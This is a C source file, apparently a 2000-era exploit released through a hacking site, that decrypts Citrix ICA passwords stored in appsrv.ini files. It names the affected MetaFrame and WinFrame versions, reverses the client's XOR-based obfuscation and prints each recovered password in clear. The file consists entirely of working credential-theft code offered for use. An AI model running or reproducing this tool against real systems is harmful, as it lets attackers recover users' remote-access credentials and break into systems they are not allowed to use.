/*
  icadecrypt.c
 
  Decrypt stored Citrix ICA passwords (in appsrv.ini).
 
    vulnerable Citrix MetaFrame for Unix 1.0
                 - Sun Solaris 8.0
                 - Sun Solaris 7.0
    Citrix MetaFrame for Windows 2000 1.8 and previous
                 - Microsoft Windows NT 2000
    Citrix MetaFrame for Windows NT 4.0 TSE 1.8 and previous
                 - Microsoft Windows NT Terminal Server
                 + Microsoft Windows NT 4.0
    Citrix WinFrame for Windows NT 3.5 1.8
                 - Microsoft Windows NT 3.5.1
 
   Dug Song <dugsong@monkey.org>
*/

#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <string.h>
#include <ctype.h>

int
hex_decode(char *src, u_char *dst, int outsize)
{
  char *p, *pe;
  u_char *q, *qe, ch, cl;

  pe = src + strlen(src);
  qe = dst + outsize;

  for (p = src, q = dst; p < pe && q < qe && isxdigit((int)*p); p += 2)
    {
      ch = tolower(p[0]);
      cl = tolower(p[1]);

      if ((ch >= '0') && (ch <= '9')) ch -= '0';
      else if ((ch >= 'a') && (ch <= 'f')) ch -= 'a' - 10;
      else return (-1);

      if ((cl >= '0') && (cl <= '9')) cl -= '0';
      else if ((cl >= 'a') && (cl <= 'f')) cl -= 'a' - 10;
      else return (-1);

      *q++ = (ch << 4) | cl;
    }
  return (q - dst);
}

int
ica_decrypt(u_char *pass, int len)
{
  u_short i;
  u_char *p, key;

  if (len < 4)
    return (0);

  i = ntohs(*(u_short *)pass);

  if (i != len - 2)
    return (0);

  key = pass[2];
  p = pass + 3;

  for (i -= 2; i > 0; i--)
    p[i] = p[i - 1] ^ p[i] ^ key;

  p[0] ^= (key | 'C');

  i = len - 3;
  memmove(pass, pass + 3, i);
  pass[i] = '\0';

  return (1);
}

void
usage(void)
{
  fprintf(stderr, "Usage: icadecrypt <file>\n");
  exit(1);
}

int
main(int argc, char *argv[])
{
  FILE *f;
  u_char line[1024], pass[128];
  int len;

  if (argc != 2 || *argv[1] == '-')
    usage();

  if ((f = fopen(argv[1], "r")) == NULL)
    {
      perror("fopen");
      exit(1);
    }
  while (fgets(line, sizeof(line), f) != NULL)
    {
      if (strncmp(line, "Password=", 9) == 0)
        {
          len = hex_decode(line + 9, pass, sizeof(pass));
          if (ica_decrypt(pass, len))
            printf("; icadecrypt: [%s]\n", pass);
        }
      printf("%s", line);
    }
  fclose(f);

  exit(0);
}

/* 5000. */
/*                    www.hack.co.za           [23 May 2000]*/